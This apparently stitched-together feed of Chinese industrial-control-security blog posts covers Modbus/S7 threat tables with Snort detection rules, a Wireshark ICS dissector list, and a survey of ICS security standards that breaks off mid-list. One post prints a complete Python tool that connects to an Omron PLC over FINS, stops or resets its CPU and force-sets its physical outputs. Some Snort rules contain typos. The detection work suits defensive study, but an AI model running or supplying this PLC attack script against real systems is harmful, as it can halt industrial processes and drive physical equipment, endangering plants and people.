工控通信协议作为工控设备与应用、设备与设备之间沟通的一种重要语言。工控系统中如果需要实现远程数据监控(SCADA)就一定离不开通讯协议,SCADA系统中会使用经由双方约定的协议直接与下层设备或数据采集转换器进行数据通信。随着时代的发展,厂级监控的实时性、可靠性需求增高,工业通信总线通讯速率的不断提升,从RS232/485到工业以太网再到工业实时以太网,工控网络中大量引入了以太网,并且使用TCP/IP或ISO标准封装后进行传输,因为一般的工控协议都经历了长时间的演变与积累,协议在设计之初都没有考虑加密、认证等在当今看来保障用户安全的必要认证条件,如第一个现场总线协议Modbus由莫迪康与1979年提出,所以我们常见的工控网络协议的安全性一直都不高。加上工控协议的特性是面向命令、面向功能、轮询应答式,攻击者只需要掌握协议构造方式,并接入到了工控网络中,便可以通过协议对目标设备的任意数据进行篡改。

如何解决来自工控通信协议的威胁

一般常见工控协议中包含了大量的命令字,如读取、写入数据等,然而其中一部分高级或协议约定的自定义功能往往会给用户安全带来更多的威胁,如Modbus协议的从机诊断命令将会造成从机设备切换到侦听模式、CIP协议某些命令字还能导致设备直接重启、S7协议的STOP CPU功能将会导致PLC程序运行停止,在大多数的情况下用户在上位机进行组态时仅会使用协议的某些读取数据功能和固定范围、固定地址的写数据功能,而协议栈上更多的功能则不会应用于系统集成中。如果对协议字段的掌握和对协议命令字的掌握,便可以很灵活的将可能给用户带来风险和威胁的一些隐藏功能,单独使用应用层防火墙对报文进行深度过滤,或者使用IDS进行报警提醒,如下便总结了2个协议中常见的威胁样例以及报警规则的应用方式。

工控通信协议威胁常见样例

Modbus

严重等级 威胁行为描述 潜在危害
主站下发08号功能码 可能导致设备进入Standby状态
主站下发90(5A)号功能码-stop(Schneider) 导致PLC CPU进入STOP停机状态
主站下发90(5A)号功能码-download(Schneider) PLC的内部程序可能正在被替换程
主站下发90(5A)号功能码-upload(Schneider) 设备将工程上传至主站可能造成信息泄露
主站一次下发modbus报文超过260个字节 超出modbus tcp协议标准组包长度,可能导致设备拒绝服务
主站下发43(2B)号功能码 导致设备及其固件版本信息泄露

西门子S7协议

严重等级 威胁行为描述 潜在危害
主站下发STOP/RUN命令 导致设备进入停机状态/导致设备被启机初始化
主站下发download block命令 PLC的内部程序可能正在被替换程
主站下发delet block命令 PLC的内部程序块可能正在被删除
主站下发错误的密码请求 正在未授权访问
主站下发read szl请求 正在尝试获取设备模块信息、固件信息

解决与实践

如果了解了工控网络通信协议其中的威胁对正常运行所带来的潜在危害,我们其实可以很好的使用与创建规则进行拦截与报警,例如可以非常方便的基于Snort构建报警规则,如下为部分Snort规则的样例。

#
#
# $Id: myicsrules.rules,v 0.1,
#----------
# myicsrules RULES
# ICS protocal/ICS Software communication identification/Filter
# Siemens S7 TCP 102
# Modbus TCP 502
#
#
# 
# 
#
#----------
# Siemens S7 Filter rules
#----------
#设置S7 PLC内部时钟的时间
alert tcp any any -> any 102 (msg:"Request Time functions Set clock";content:"|03 00|";offset:0;depth:2;content:"|32 07 00|";offset:7;depth:3;content:"|00 01 12 04 11 47 02 00|";offset:17;depth:8;sid:8999907;)
#设置与S7 PLC会话的密码
alert tcp any any -> any 102 (msg:"Request Security functions Set PLC session password";content:"|03 00|";offset:0;depth:2;content:"|00 01 12 04 11 45 01 00|";offset:17;depth:8;sid:8999908;)
#设置S7 PLC的CPU到STOP状态
alert tcp any any -> any 102 (msg:"Request CPU functions Set PLC CPU STOP";content:"|29 00 00 00 00 00 09 50 5f 50 52 4f 47 52 41 4d|";sid:8999909;)
#暖启动S7 PLC的CPU到RUN状态
alert tcp any any -> any 102 (msg:"Request CPU functions Set PLC CPU Hot Restart";content:"|28 00 00 00 00 00 00 fd 00 00 09 50 5f 50 52 4f|";sid:8999910;)
#冷启动S7 PLC的CPU到RUN状态
alert tcp any any -> any 102 (msg:"Request CPU functions Set PLC CPU Cold Restart";content:"|28 00 00 00 00 00 00 fd 00 02 43 20 09 50 5f 50 52 4f 47 52 41 4d|";sid:8999911;)
#正在写S7 PLC内部的内存变量
alert tcp any any -> any 102 (msg:"Write Var";content:"|03 00|";offset:0;depth:2;content:"|32 01|";offset:7;depth:2;content:"|05|";offset:17;depth:1;sid:8999912;)
#正在请求下载程序块
alert tcp any any -> any 102 (msg:"Request download";content:"|03 00|";offset:0;depth:2;content:"|32 01|";offset:7;depth:2;content:"|1a|";offset:17;depth:1;sid:8999913;)
#开始请求下载程序块
alert tcp any any -> any 102 (msg:"Download block";content:"|03 00|";offset:0;depth:2;content:"|32 01|";offset:7;depth:2;content:"|1b|";offset:17;depth:1;sid:8999914;)
#程序块下载结束
alert tcp any any -> any 102 (msg:"Download ended";content:"|03 00|";offset:0;depth:2;content:"|32 01|";offset:7;depth:2;content:"|1c|";offset:17;depth:1;sid:8999915;)
#正在请求上载程序块
alert tcp any any -> any 102 (msg:"Start upload";content:"|03 00|";offset:0;depth:2;content:"|32 01|";offset:7;depth:2;content:"|1d|";offset:17;depth:1;sid:8999916;)
#开始上载程序块
alert tcp any any -> any 102 (msg:"Upload";content:"|03 00|";offset:0;depth:2;content:"|32 01|";offset:7;depth:2;content:"|1e|";offset:17;depth:1;sid:8999917;)
#结束上载程序块
alert tcp any any -> any 102 (msg:"End upload";content:"|03 00|";offset:0;depth:2;content:"|32 01|";offset:7;depth:2;content:"|1f|";offset:17;depth:1;sid:8999918;)
#删除S7 PLC内部程序块操作
alert tcp any any -> any 102 (msg:"Delet block";content:"|03 00|";offset:0;depth:2content:"|05 5f 44 45 4c 45|";sid:8999919;)

#
#----------
# Modbus Filter rules
#----------
#正在写单线圈寄存器
alert tcp any any -> any 502 (msg:"Modbus TCP/Write Single Coil";content:"|00 00|";offset:2; depth:2; content:"|05|";offset:7;depth:1;sid:8999100;)
#正在写单个保持寄存器
alert tcp any any -> any 502 (msg:"Modbus TCP/Write Single Register";content:"|00 00|";offset:2; depth:2; content:"|06|";offset:7;depth:1;sid:8999101;)
#正在读从站状态
alert tcp any any -> any 502 (msg:"Modbus TCP/Read Exception Status";content:"|00 00|";offset:2; depth:2; content:"|07|";offset:7;depth:1;sid:8999102;)
#诊断设备命令
alert tcp any any -> any 502 (msg:"Modbus TCP/Diagnostics Device";content:"|00 00|";offset:2; depth:2; content:"|08|";offset:7;depth:1;sid:8999103;)
#正在写多个线圈寄存器
alert tcp any any -> any 502 (msg:"Modbus TCP/Write Multiple Coils";content:"|00 00|";offset:2; depth:2; content:"|0f|";offset:7;depth:1;sid:8999104;)
#正在写多个保持寄存器
alert tcp any any -> any 502 (msg:"Modbus TCP/Write Multiple registers";content:"|00 00|";offset:2; depth:2; content:"|10|";offset:7;depth:1;sid:8999105;)
#正在写文件参数
alert tcp any any -> any 502 (msg:"Modbus TCP/Write File Record";content:"|00 00|";offset:2; depth:2; content:"|15|";offset:7;depth:1;sid:8999106;)
#屏蔽写寄存器
alert tcp any any -> any 502 (msg:"Modbus TCP/Mask Write Register";content:"|00 00|";offset:2; depth:2; content:"|16|";offset:7;depth:1;sid:8999107;)
#读写多个寄存器
lert tcp any any -> any 502 (msg:"Modbus TCP/Read/Write Multiple registers";content:"|00 00|";offset:2; depth:2; content:"|17|";offset:7;depth:1;sid:8999108;)
#正在枚举设备信息
alert tcp any any -> any 502 (msg:"Modbus TCP/Read Device Identification";content:"|00 00|";offset:2; depth:2; content:"|2B|";offset:7;depth:1;sid:8999109;)
#正在枚举施耐德昆腾PLC的内存串号
alert tcp any any -> any 502 (msg:"Schneider PLC(Quantumn) uses function code 90 for communications the Unity pro software Request Memory Card ID";content:"|00 00|";offset:2;depth:2;content:"|5a|";offset:7;depth:1;content:"|00 06 06|";offset:8;depth:3;sid:8999110;)
#正在枚举施耐德昆腾PLC的CPU模块信息
alert tcp any any -> any 502 (msg:"Schneider PLC(Quantumn) uses function code 90 for communications the Unity pro software Request CPU Module info";content:"|00 00|";offset:2;depth:2;content:"|5a|";offset:7;depth:1;content:"|00 02|";offset:8;depth:2;dsize:10;sid:8999111;)
#正在枚举施耐德昆腾PLC内部的工程名称
alert tcp any any -> any 502 (msg:"Schneider PLC(Quantumn) uses function code 90 for communications the Unity pro software Request Project Project file name";content:"|00 00|";offset:2;depth:2;content:"|5a|";offset:7;depth:1;content:"|f6 00|";offset:17;depth:2;sid:8999112;)
#正在枚举施耐德昆腾PLC内部的工程上次修改时间
alert tcp any any -> any 502 (msg:"Schneider PLC(Quantumn) uses function code 90 for communications the Unity pro software Request Project Information(Revision and Last Modified)";content:"|00 00|";offset:2;depth:2;content:"|5a|";offset:7;depth:1;content:"|03 00|";offset:17;depth:2;sid:8999113;)
#正在将施耐德昆腾PLC的CPU设置到STOP状态
alert tcp any any -> any 502 (msg:"Schneider PLC(Quantumn) uses function code 90 for communications the Unity pro software Set PLC CPU STOP";content:"|00 00|";offset:2;depth:2;content:"|5a|";offset:7;depth:1;content:"|40|";offset:9;depth:1;sid:8999114;)
#正在将施耐德昆腾PLC的CPU设置到RUN状态
alert tcp any any -> any 502 (msg:"Schneider PLC(Quantumn) uses function code 90 for communications the Unity pro software Set PLC CPU Restart";content:"|00 00|";offset:2;depth:2;content:"|5a|";offset:7;depth:1;content:"|41|";offset:9;depth:1;sid:8999115;)

一旦网络中触发规则即可实现联动操作与报警。snort_ids_log

更多规则

SCADA-Rules

Quickdraw SCADA IDS(Digitalbond)

 


使用FINS协议攻击欧姆龙(Omron)PLC的物理(I/O)输出

$
0
0

提到对PLC的攻击往往除了PLC设备本身存在的缺陷和漏洞外,要实现对PLC内运行的逻辑在特定环境下达到特定的攻击演示效果,往往可以使用PLC支持的一些内部功能实现,这些功能可以通过PLC支持的通信协议完成构造并实现远程利用。
在今年的Kcon会场外设置的工控Hack的环节,我当时便设计了3种针对西门子S7-300 PLC内部逻辑程序或变量进行修改,从而达到特定目的和攻击效果的黑盒测试(总结),而本文则主要介绍了针对欧姆龙(Omron)PLC的一种黑盒攻击方式。

什么是PLC的I/O?

I/O即input和output的简写, PLC作为一种可编程的工业嵌入式计算机,它控制了大量的自动化生产过程,要实现对过程的控制,简单来说是用户通过编程对输入输出(I/O)模块信号的采集与控制实现的。PLC一般具有高度模块化,PLC可以非常方便的对I/O等卡件进行更换或增加。

omron_plc

欧姆龙FINS协议介绍

FINS协议是计算机与欧姆龙系列PLC之间进行通信的一种通信协议,FINS协议默认使用的以太网端口为9600,FINS协议可以以UDP或TCP模式运行,曾经我也对欧姆龙的FINS协议在公网的运行情况做过详细统计,协议的具体构造方式和命令字可以参照欧姆龙FINS命令手册

欧姆龙PLC的工作状态介绍

常见的欧姆龙PLC具有3种工作状态,即运行模式(RUN)、监视模式(MONITOR)、编程模式(PROGRAM)。
运行模式(RUN):PLC内用户的逻辑程序正常运行,并且不能对PLC进行置位和强制写入内存操作。
监视模式(MONITOR):PLC内用户的逻辑程序正常运行,可以置位和强制写入,也可以对I/O点和辅助继电器进行操作。可以在线修改程序。
编程模式(PROGRAM):PLC内用户的逻辑程序不运行。可以对内存进行清零(格式化)操作。经过测试强制写入依然生效,依然可以在编程模式下强制激活物理I/O输出端子。

plc_run

使用强制I/O实现对物理输出端子的控制

在各个厂家的PLC中往往拥有一个强制I/O的功能,主要用于方便进行工程调试,所谓强制就是脱离用户逻辑程序的控制,强制设置后的内存变量将不会受用户的程序影响,强制状态不取消的情况下,变量值将保持不变。甚至有些厂家的PLC即使重新上电后强制值如果不手动取消,强制值依然不会丢失。强制功能在众多厂商的用户手册当中都被定义为注意操作事项,如果在实际环境中操作不当将会容易产生事故。
如下图,为定时输出给一个线圈开状态的简单程序,即时当前还处于定时器的运行过程中,使用强制功能也可以给出ON信号,将不会受程序影响。

loop_led

实现一个攻击测试程序

根据欧姆龙PLC对物理I/O端子的地址定义,如下图。

output_cio100

为某型号开关量输出模块接线图和默认物理端子输出地址,那么可以使用FINS协议的命令集构建切换PLC CPU到监视模式的请求报文,然后批量或循环强制写内存变量CIO100.00到一定范围的测试用例。这样就可以轻松达到针对物理输出的远程控制。如下图,为由强制开,接管流水灯逻辑,原逻辑虽然运行但是物理输出依然为原强制的状态,欧姆龙PLC CPU自带的开关量输出端子全部被置ON激活。
testting1 testting2

测试代码

注意!!! 不要运行在真实和在线的控制系统!!!这将导致系统停机和异常!!!

OmronPLC-IO-Attacker

import sys, socket, binascii, time, re
#
# ICS Security Workspace(plcscan.org)
# Author:Z-0ne
# Warning:will affect the real plc system operation!!!
#
# Func:Forced set CIO data and Control CPU
#
def send_receive(s,size,strdata):
    senddata = binascii.unhexlify(strdata)
    s.send(senddata)
    try:
        resp = s.recv(1024)
        return resp
    except socket.timeout:
        print 'send commad but no respone'
    except socket.error:
        print 'err'
def validata(ip):
    ipdata = re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', ip)
    if not ipdata:
        return False
    return True
def initconnect(s):
    init_address = send_receive(s,1024,'46494e530000000c000000000000000000000000')
    if len(init_address) > 23: 
        address_code = binascii.b2a_hex(init_address[23])
    else:
        print 'len err'
    getinfo = send_receive(s,1024,'46494e5300000015000000020000000080000200' + address_code + '000000ef05050100')
    print "Controller Model:" + getinfo[30:67]
def run_plc_cpu(s):
    send_receive(s,1024,'46494e5300000016000000020000000080000700000000fb00670401ffff')
def run_monitor_cpu(s):
    send_receive(s,1024,'46494e53000000160000000200000000c0000200fb00000000a604010000')
def stop_plc_cpu(s):
    send_receive(s,1024,'46494e5300000016000000020000000080000700000000fb00670402ffff')
def reset_plc_cpu(s):
    send_receive(s,1024,'46494e5300000016000000020000000080000700000000fb00670403ffff')
def loop_forced_set(s,iostate):
    if iostate == 'on':
        coil_state_code = '01'
        print 'Forced set on'
    elif iostate == 'off':
        coil_state_code = '00'
        print 'Forced set off'
    else:
        print 'Forced set on'
        coil_state_code = '01'
        #(to forced set CIO default physical output address(start at 100.00)
    for i in range(int(0),int(101)):
        print 'set default physical output at CIO out 100.%s' %(i)
        send_receive(s,1024,'46494e530000001c000000020000000080000700000000fb007e2301000100' + coil_state_code + '3000' + '64' + "%02x"%(i))
def cancel_forced_set(s):
    send_receive(s,1024,'46494e5300000014000000020000000080000700000000fb00722302')
raw_input('Warning:will affect the real system operation!!!Enter to continue!!!')
if not len(sys.argv) == 2:
    ip = raw_input('Target PLC IP:')
else:
    ip = sys.argv[1]
if not validata(ip):
    print 'err'
    sys.exit()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# no respone timeout
s.settimeout(3)
s.connect((ip,9600))
print 'connect to the plc device.....'
print 'start read device information.....'
initconnect(s)
while True:
    func = raw_input('Func(run/monitor/stop/reset/quit):')
    iostate = raw_input('Set Forced State(on/off/cancel/quit):')
    if func == 'run':
        run_plc_cpu(s)
    elif func == 'monitor':
        run_monitor_cpu(s)
    elif func == 'stop':
        stop_plc_cpu(s)
    elif func == 'reset':
        reset_plc_cpu(s)
    elif func == 'quit':
        print 'input func'
    else:
        print 'input err1'
    if iostate == 'on':
        loop_forced_set(s,iostate)
    elif iostate == 'off':
        loop_forced_set(s,iostate)
    elif iostate == 'cancel':
        cancel_forced_set(s)
    elif iostate == 'quit':
        print 'input state'
    else:
        'input err2'
    if raw_input('exit:') == 'exit':
        s.close()
        break

欧姆龙PLC流水灯程序样例下载

loop led project(CX-Programmer V9.60)

使用Wireshark分析工控协议

$
0
0

在工控系统中通信协议存在众多标准,也存在众多私有协议,如果你有过使用组态软件的经历,你便会发现,在第一步连接设备时除连接设备的方式有以太网/串行等方式外,各家基本上都存在自己的私有通信协议。
comm_drivers

上图为,某SCADA软件驱动配置界面

大家都知道普遍的工控协议在传输的过程不加密、协议上无认证,往往可以通过协议分析,并形成一些测试用例针对特定运行环境下支持该协议的设备达到异常运行的效果。如之前提到过的强制操作物理输出(使用FINS协议攻击欧姆龙(Omron)PLC的物理(I/O)输出)、程序的上传下载、重置设备状态等。而这个过程中除官方提供的一些协议文档外,像wireshark也支持了大量的工控协议,可以很方便的了解协议中的一些字段的功能、命令等。

私有协议分类

在众多公开或私有协议中可分为如下几类:
标准协议:国际标准或公认的标准协议,如Modbus、DNP3、IEC104等
私有公开:只有厂商自己设备支持并提供官方协议文档,如Omron FINS协议、三菱Melsec协议等
私有不公开:只有厂商自己设备支持且官方不提供协议文档,如S7、西门子PPI协议、GE SRTP等

使用Wireshark分析常见工控协议

Wireshark是一个强大开源流量与协议分析工具,除了传统网络协议解码外,还支持众多主流和标准工控协议的分析与解码。为此我整理了Wireshark源码中涉及与自控有关的协议的packet dissection实现代码路径,供大家参考和自己留存。

序号	协议类型	源码下载	简介
1	Siemens S7	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-s7comm.c	西门子PLC支持的通讯协议
2	MMS(IEC61850)	https://github.com/wireshark/wireshark/tree/master/asn1/mms	输配电通讯协议
3	GOOSE(IEC61850)	https://github.com/wireshark/wireshark/tree/master/asn1/goose	输配电通讯协议
4	SV(IEC61850)	https://github.com/wireshark/wireshark/tree/master/asn1/sv	输配电通讯协议
5	Modbus	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-mbtcp.c	工控标准协议
6	OPC DA	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-dcom.c	工控标准协议
7	FF HSE	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-ff.c	基金会现场总线以太网通信协定
8	IEC 104	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-iec104.c	输配电通讯协议
9	Ethernet POWERLINK	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-epl.c	开放式实时以太网通信
10	OPC UA	https://github.com/wireshark/wireshark/tree/master/plugins/opcua/opcua.c	OPC新一代标准
11	HART-IP	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-hartip.c	高速可寻址远程传感器协议
12	CoAP	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-coap.c	轻量应用层协议
13	Omron FINS	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-omron-fins.c	欧姆龙PLC支持的通讯协定
14	openSAFETY	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-opensafety.c	开源安全应用协议
15	EGD(Ethernet Global Data)	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-egd.c	GE Fanuc为PLC开发的通讯协定
16	DNP3	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-dnp.c	分布式网络协议,主要用于电力行业
17	Sinec H1	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-h1.c	西门子PLC支持的通讯协议
18	Profinet	https://github.com/wireshark/wireshark/tree/master/plugins/profinet/	开放式的工业以太网通讯协定
19	EtherCAT	https://github.com/wireshark/wireshark/tree/master/plugins/ethercat/	德国Beckhoff公司推动的开放式实时以太网通讯协定
20	SERCOS III	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-sercosiii.c	实时以太网通讯协定
21	RTPS	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-rtps.c	实时流传输协议
22	TTEthernet	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-tte.c	实时以太网通讯协定
23	CDT	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-cdt.c	远动规约
24	EtherNet/IP	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-etherip.c	工业通讯协定(Industrial Protocol),是一种CIP的实现方式,由罗克韦尔自动化公司所设计
25	CIP	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-cip.c	通用工业协定
26	CIP Safety	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-cipsafety.c	安全通用工业协定
27	DeviceNet	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/ packet-devicenet.c	一种CIP的实现方式,由Allen-Bradley公司所设计
28	BACnet	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-bacnet.c	楼宇自动控制网络数据通讯协议
29	KNXnet/IP	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-knxnetip.c	住宅和楼宇控制标准
30	Lontalk	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-lon.c	埃施朗公司的LonWorks技术所使用的通讯协议
31	CANopen	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-canopen.c	控制局域网通讯协定
32	SAE J1939	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-j1939.c	一种CAN的变种,适用在农业车辆及商用车辆
33	USITT DMX512-A	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-dmx.c	灯光控制数据传输协议
34	BSSAP/BSAP	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-bssap.c	由Bristol Babcock Inc发展的通讯协定
35	Gryphon	https://github.com/wireshark/wireshark/tree/master/plugins/gryphon	车用通讯协定
36	ZigBee	https://github.com/wireshark/wireshark/tree/master/epan/dissectors/packet-zbee.h	开放式的无线通讯协定

 

工控安全标准发展现状与思考

$
0
0

本文由灯塔实验室原创,转载请注明出处。

1. 国际工控安全标准发展

1.1 国际工控安全标准

目前在国际上,工业控制系网络安全标准的研究制定工作主要由IEC/TC 65(工业过程测量、控制和自动化)下的网络和系统信息安全WG10和国际自动化协会(ISA 99)委员会组成的联合工作组负责,该工作组目前主要制定了IEC 62443《工业过程测量、控制和自动化网络与系统信息安全》系列标准。该系列标准如下表所示:

通用方面 政策与程序 系统 组件
1-1 术语、概念和模型 2-1 建立IACS信息安全程序 3-1 信息安全技术 4-1 产品开发要求
1-2 术语和缩略语 2-2 运行IACS信息安全程序 3-2 区域和通道的信息安全保障登记 4-2 对IACS产品的信息安全技术要求
1-3 系统信息安全符合性度量 2-3 IACS环境中的补丁更新管理 3-3 系统信息安全要求和信息安全保障等级
2-4 对IACS制造商信息安全政策与实践的认证
通用方面 用户业主 系统集成商 产品制造商

IEC 62443是专门针对工业自动化和工业安全的系列标准。该系列标准,旨在使系统集成商、产品供应商和服务提供商,可以通过使用该标准来评估他们的产品和服务,并依据评估结果判断其产品或服务是否能够为工业控制系统使用者提供有效的安全防护。IEC 62443的目标并不是提供详细规范并建立一个安全的体系架构,其目标是定义一个通用的最小安全要求集,使目标工业控制系统达到各级SALS(Security Assurances Levels,SAL)的安全保障需求。

为了推广IEC62443并抢占标准一致性测试市场,美国仪表协议于2010年成立了ISA信息安全符合性研究院ISCI(ISASecure)。目前开展了如下三项标准符合性测试认证:

  • IEC 62443-3-3:系统安全保证(SSA)认证要求
  • IEC 62443-4-1:安全开发生命周期保证(SDLA)认证要求
  • IEC 62443-4-2:嵌入式设备安全保证(EDSA)认证要求

ISASecure认证需要使用通信健壮性测试(CRT)工具和漏洞识别测试工具。目前ISCI认可测试工具如下表所示:

    CRT测试工具 漏洞识别工具
 CODENOMICON DEFENSICS X测试套件

HITACHI Raven ES测试工具

BEYOND security beSTORM EDSA测试工具

Wurldtech Achilles测试工具

Tenable Nessus Vulnerability Scanner

1.2 美国工控安全标准

美国国土安全部(DHS)作为关键基础设施安全(工控安全)的主管单位,为美国提供关键基础设施安全的战略指导,并与公共和私人合作伙伴合作,协调美国联邦各个单位促进关键基础实施的安全性和可恢复性。美国国家标准与技术研究院(NIST)作为美国工控安全国家标准的制定单位,为支持联邦信息安全管理法案(FISMA)的执行,制定保护国家关键基础设施主要标准,主要为NIST SP800-82和NIST SP800-53两个标准。美国国土安全部发布CSET安全评估工具,推动工控安全标准的使用及对工控安全评估进行工具支撑。

组织分类 组织名称 文件名称
标准制定重要单位 美国国家标准与技术研究院(NIST) 工业控制系统安全指南(NISTSP800-82)
联邦信息系统和组织的安全控制建议(NISTSP800-53)
系统保护轮廓-工业控制系统(NISTIR7176)
中等健壮环境下的SCADA系统现场设备保护概况
改善关键基础设施网络安全框架
智能电网安全指南(NISTIR7628)
国土安全部(DHS) 中小规模能源设施风险管理核查事项
控制系统安全一览表:标准推荐
SCADA和工业控制系统安全
工业控制系统安全评估指南

(与CPNI联合发布)

工业控制系统远程访问配置管理指南(与CPNI联合发布)
标准制定行业单位 北美电力可靠性委员会(NERC) 北美大电力系统可靠性规范(NERCCIP002–009)
美国天然气协会(AGA) SCADA通信的加密保护(AGAReportNo.12)
美国石油协会(API) 管道SCADA安全(API1164)
石油工业安全指南
美国能源部(DOE) 提高SCADA系统网络安全21步
美国核管理委员会 核设施网络安全措施(RegulatoryGuide5.71)

从美国工控安全标准制定组织和成果可以看出,NIST制定工控安全主要标准,标准可跨行业,并且标准不停的滚动发布。从中可看到标准制定的有效经验,第一步解决有无标准的问题,然后再解决标准高质量与普适性问题。从标准成果还可以看出,美国针对SCADA控制系统的安全标准比较多,主要因为SCADA的安全问题在控制系统中尤为突出。从中体现出美国标准制定以解决突出问题为导向,而不是胡子眉毛一把抓。

2. 我国工控安全标准发展

2.1 我国已发布的工控安全标准

国家标准

  • GB/T 26333-2010《工业控制网络安全风险评估规范》

作为我国工控安全第一个国家标准,解决了我国工控安全标准空白的问题,实现了工控安全标准零的突破。此标准2011年发布实施,从发布时间上可以看出,我国关注工控安全的前辈们的高瞻远瞩。但是此标准并未推行起来,成为了事实上可有可无的标准,成为了工控安全标准界的先烈。究其原因,还是此标准无核心内容(核心内容都是直接引用其它标准),标准过于简单,可操作性低,导致此标准落地困难。建议相关单位对此标准进行修订。

  • GB/T 30976.1-2014《工业控制系统信息安全 第1部分:评估规范》

作为我国工控安全第一个有内容的国家标准,解决了我国工控安全无标准可依的窘境。《评估规范》分为管理评估和系统能力(技术)评估。管理评估宜对照风险接受准则和组织机构相关目标,识别、量化并区分风险的优先次序。风险评估的结果宜指导并确定适当的管理措施及其优先级,评估风险和选择控制措施的过程需要执行多次,以覆盖组织机构的不同部门或各个工业控制系统。管理评估分三个级别、系统能力(技术)评估分为四个级别。信息安全等级由系统能力等级和管理等级二维确定。

此评估标准实施过程中,还没有一套有效的方法论来指导用户单位确定自己需要的信息安全等级,或者政府未有一套信息安全等级评定的依据。目前阶段只能根据用户单位自己的自发需求来确定信息安全等级,然后根据用户单位确认的等级开展评估活动。

  • GB/T 30976.2-2014《工业控制系统信息安全 第2部分:验收规范》

此标准解决了我国工业控制系统信息安全验收上的空白,解决了验收有标准可依的困境。此标准的使用方是工业控制系统用户方,《验收规范》涉及到专业的安全测试,除电力和石油石化等大部分用户方在能力上不足以完成验收阶段的安全测试。因此需要借助第三方的测评力量来验收,就涉及到项目预算增加的问题。因此在做标准宣贯时,需要在立项阶段就考虑验收标准和费用的问题。

行业标准

在工控安全领用,电力行业2005年颁布的电监会5号令《电力二次系统安全防护规定》,“安全分区、网络专用、横向隔离、纵向认证”十六字深入人心。其次是石化、核电及烟草行业也有相应标准。

  • 电力行业:《电力二次系统安全防护规定》(电监会5号令)

我国工控安全的安全意识及优秀实践,起初都是参考电力行业的,电力行业的控制系统安全经验,对我国工控安全经验积累功不可没。《电力二次系统安全防护规定》(电监会5号令)于2014年9月1日废除,同时颁布了《电力监控系统安全防护规定》(发改委14号令)。

  • 石化行业:GB/T 50609-2010 《石油化工工厂信息系统设计规范》

此设计规范中要求网络之间需要采用安全隔离,2010年颁布的行业标准,算比较早重视工控信息安全的行业。

  • 核电行业:GB/T 13284.1-2008 《核电厂安全系统 第1部分 设计准则》
  • 核电行业:GB/T 13629-2008 《核电厂安全系统中数字计算机的适用准则》

《设计准则》提供了有关核电厂安全设计应遵循的准则。标准中规定了核电厂安全系统动力源、仪表和控制部分最低限度的功能和设计要求,标准适用于为防止或减轻设计基准事件后果、保护公众健康和安全所需要的那些系统。《适用准则》主要针对核电厂安全系统中数字计算机适用性制定的准则。

  • 烟草行业:YC/T 494-2014 《烟草工业企业生产网与管理网网络互联安全规范》

此标准主要规范烟草工业企业生产网与管理网之间的联网安全问题。

2.2 我国在研的工控安全标准

我国工业控制系统有如下在研标准:

标准类型 标准名字 归口单位
ICS安全管理标准 《信息安全技术 工业控制系统安全管理基本要求》 TC260
《信息安全技术 工业控制系统安全检查指南》 TC260
《信息安全技术 工业控制系统安全分级指南》 TC260
《信息安全技术 工业控制系统安全控制应用指南》 TC260
ICS产品及系统信息安全标准 《集散控制系统(DCS)安全防护要求》 TC124
《集散控制系统(DCS)安全管理要求》 TC124
《集散控制系统(DCS)安全评估指南》 TC124
《集散控制系统(DCS)风险与脆弱性检测要求》 TC124
《可编程逻辑控制器(PLC)系统信息安全要求》 TC124
《信息安全技术 工业控制系统测控终端安全要求》 TC260
《工控控制系统产品信息安全通用评估准则》 TC260
工控安全等级保护标准系列 TC260
《信息安全技术 工业控制系统安全防护技术要求和测试评价方法》 TC260
ICS评估标准 《工业控制系统风险评估实施指南》 TC260
防护技术要求与测评标准 《信息安全技术 工业控制系统网络监测安全技术要求和测试评价方法》 TC260
《信息安全技术 工业控制系统漏洞检测技术要求》 TC260
《信息安全技术 工业控制网络安全隔离与信息交换系统安全技术要求》 TC260
《信息安全技术 工业控制系统网络审计产品安全技术要求》 TC260
《工业控制系统专用防火墙技术要求》 TC260

我国目前在研的工控安全标准有19项之多,其中工控安全管理标准4项,工控产品及系统信息安全标准9项,工控安全评估标准1项,工控安全防护及检测技术标准5项。在研标准基本涵盖了行业监管单位、工控产品供应商、工控安全防护产品供应商、工控业主单位及测评机构的标准需求。为了做到工控安全真正有标准可依,需要加快标准研制过程,尽快发布。提供如下加快进度的建议:

1)工控安全标准需要做到统一归口,不能分散资源。在网信办和工信部的协调与领导下,全国信息安全标准化技术委员会需要继续发挥信息安全标准研制经验优势,加速工业控制系统信息安全标准的研制。

2)工控安全标准研制相对复杂,需要加大投入。工控安全标准研制需要工控环境支撑及复合型人才的持续投入。建议政府决策部门给予工控安全标准研制提供更多的支持。

3. 工控安全标准现状思考

前面介绍了国际、美国和我国工控安全标准,从国外工控安全标准优势方面对比,我们有如下差距:

1)我国还未发布成熟的工控安全基本标准,比如安全指南、管理指南之类的标准(第一个基本标准《信息安全技术 工业控制系统安全控制应用指南》将于上半年发布);

